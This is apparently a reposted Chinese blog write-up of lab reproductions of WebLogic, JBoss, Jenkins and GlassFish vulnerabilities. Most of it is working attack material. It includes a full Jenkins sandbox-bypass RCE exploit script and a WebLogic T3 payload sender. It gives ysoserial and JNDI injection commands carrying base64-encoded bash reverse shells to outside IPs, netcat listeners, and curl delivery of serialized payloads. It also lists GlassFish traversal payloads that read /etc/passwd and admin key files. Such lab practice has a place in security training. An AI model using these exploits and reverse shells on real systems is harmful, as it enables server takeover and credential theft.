sock.send(bytes.fromhex(payload)) time.sleep(2) sock.send(bytes.fromhex(payload)) res = b'' try: while True: res += sock.recv(4096) time.sleep(0.1) except Exception as e: pass return res def checkVul(res,server_addr,index): p=re.findall(VER_SIG[index], res.decode(), re.S) if len(p)>0: print('%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])) else: print('%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])) def run(dip,dport,index): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整 sock.settimeout(15) server_addr = (dip, dport) t3handshake(sock,server_addr) buildT3RequestObject(sock,dport) rs=sendEvilObjData(sock,PAYLOAD[index]) print('rs',rs) checkVul(rs,server_addr,index) if __name__=="__main__": #dip = '218.1.102.99' #dip = '10.65.46.125' #dip = '192.168.3.216' dip = '192.168.155.147' dport = 7001 run(dip,7001,0) # for i in range(0,len(VUL)): # run(dip,dport,i)
将生成的payload替换下
再替换下漏洞服务器的ip及端口即可
启动监听nc -lvvp 5566
,执行脚本,成功反弹shell
靶场
服务端启动监听
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzkuMTg2LjgwLzU1NjYgMCA+JjE}{base64,-d}{bash,-i}" -A 43.139.186.80
触发监听
payload:
java -jar CVE_2021_2394.jar 123.58.224.8 30515 ldap://43.139.186.80:1389/ixa4cd
攻击者成功利用此漏洞后攻击者可以接管WebLogic服务器,并执行任意命令。
Weblogic T3/IIOP反序列化命令执行漏洞
Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup(“xxxxxx”);。
当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。
weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
靶场:
直接访问控制台http://192.168.155.147:7000/console/
启动ldap服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni42NC4xODQvNTU2NiAwID4mMQ}{base64,-d}{bash,-i}" -A 47.96.64.184
利用工具也没有找到,那些工具在github好像都下架了,但是有一款go语言编写的项目,我自己就尝试用go语言进行打包使用,不知道反正总的下来复现并没有成功
工具找到了,复现下,还是老样子,无语了
靶场
访问首页,进入console
爆破弱口令的得到admin/vulhub
生成序列化数据的poc.ser文件
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2Ig}|{base64,-d}|{bash,-i}" > poc.ser
其中base64解码为echo "bash -i >& /dev/tcp/192.168.58.224/5566"
攻击者监听nc的5566端口nc -lvvp 5566
发送攻击载荷
curl http://192.168.58.147:8080/invoker/readonly --data-binary @poc.ser
直接使用自动化工具
靶场
直接访问http://192.168.155.147:8080/invoker/JMXInvokerServlet
有文件下载则存在该漏洞
直接上工具即可
靶场
直接访问http://192.168.155.147:8080/jbossmq-httpil/HTTPServerILServlet
出现以下页面则存在漏洞
直接上工具即可
Jenkins 是一个广泛使用的开源自动化服务器,主要用于持续集成和持续交付(CI/CD)流程。它提供了一个灵活的平台,可以自动化各种任务,从简单的代码构建到复杂的部署流程。Jenkins 支持多种编程语言和框架,可以通过丰富的插件生态系统进行扩展,使其能够集成各种开发工具和服务。
开发团队使用 Jenkins 来自动化软件开发的各个阶段,包括代码编译、测试执行、静态代码分析、部署和监控。它可以与版本控制系统(如 Git)集成,在代码变更时自动触发构建和测试流程。Jenkins 的可配置性强,支持分布式构建,能够处理大规模和复杂的项目。
通过使用 Jenkins,团队可以显著提高开发效率,减少人为错误,加快产品发布周期,并提高软件质量。它已成为许多组织 DevOps 实践中不可或缺的工具。
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
靶场
页面显示
直接使用工具,读取任意文件
经工具测试存在无回显命令执行
构造反弹shell的payload
原始payload:
bash -c {echo,bash -i >& /dev/tcp/192.168.58.224/5566 0>&1}|{base64,-d}|{bash,-i}
经过base64加工后
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2IDA+JjE}|{base64,-d}|{bash,-i}
使用脚本反弹shell的payload
python 1.py http://192.168.58.147:8080 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjIyNC81NTY2IDA+JjE}|{base64,-d}|{bash,-i}"
#!/usr/bin/python # coding: UTF-8 # author: Orange Tsai(@orange_8361) # import sys import requests from enum import Enum # remove bad SSL warnings try: requests.packages.urllib3.disable_warnings() except: pass endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript' class mode(Enum): ACL_PATCHED = 0 NOT_JENKINS = 1 READ_ENABLE = 2 READ_BYPASS = 3 ENTRY_NOTFOUND = 999 def usage(): print(''' Usage: python exp.py <url> <cmd> ''') def _log(msg, fail=False): nb = '[*]' if fail: nb = '[-]' print('%s %s' % (nb, msg)) def _get(url, params=None): r = requests.get(url, verify=False, params=params) return r.status_code, r.content def _add_bypass(url): return url + 'securityRealm/user/admin/' def check(url): flag, accessible = mode.ACL_PATCHED, False # check ANONYMOUS_READ status, content = _get(url) if status == 200 and b'adjuncts' in content: flag, accessible = mode.READ_ENABLE, True _log('ANONYMOUS_READ enable!') elif status == 403: _log('ANONYMOUS_READ disable!') # check ACL bypass, CVE-2018-1000861 status, content = _get(_add_bypass(url)) if status == 200 and b'adjuncts' in content: flag, accessible = mode.READ_BYPASS, True else: flag = mode.NOT_JENKINS # check entry point, CVE-2019-1003005 if accessible: if flag is mode.READ_BYPASS: url = _add_bypass(url) status, content = _get(url + endpoint) if status == 404: flag = mode.ENTRY_NOTFOUND return flag def exploit(url, cmd): payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('utf-8').hex() params = { 'sandbox': True, 'value': payload } status, content = _get(url + endpoint, params) if status == 200: _log('Exploit success!(it should be :P)') elif status == 405: _log('It seems Jenkins has patched the RCE gadget :(') else: _log('Exploit fail with HTTP status [%d]' % status, fail=True) if b'stack trace' in content: for _ in content.splitlines(): if _.startswith(b'Caused:'): _log(_.decode('utf-8'), fail=True) if __name__ == '__main__': if len(sys.argv) != 3: usage() exit() url = sys.argv[1].rstrip('/') + '/' cmd = sys.argv[2] flag = check(url) if flag is mode.ACL_PATCHED: _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True) elif flag is mode.NOT_JENKINS: _log('Is this Jenkins?', fail=True) elif flag is mode.READ_ENABLE: exploit(url, cmd) elif flag is mode.READ_BYPASS: _log('Bypass with CVE-2018-1000861!') exploit(_add_bypass(url), cmd) else: _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)
Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限
该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。
靶场
8080端口页面
生成序列化字符串 jenkins_poc.ser
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuNjcuNC85ODk3IDA}|{base64,-d}|{bash,-i}"
发送载荷python exploit.py http://192.168.58.224:8080 jenkins_poc.ser
,成功监听
靶场
直接使用payload读取任意文件
linux服务器poc:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
window服务器poc:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
敏感文件
linux敏感文件路径:
/etc/issue 版本信息
/var/spool/cron/crontabs/root 定时任务
/etc/passwd
/root/.bash_history bash环境下的命令执行历史记录
/root/.pgpass 记录连接postgressql服务器的密码
/root/.psql_history potgressql客户端的执行的sql语句历史记录
glassfish的敏感目录:
domains/domain1/config/domain.xml 各种数据库密码位置
domains/domain1/config/admin-keyfile 后台密码存储位置
获取后台密码
https://123.58.224.8:30527/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile
得出是sha加密,利用一些在线解密平台解密即可
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。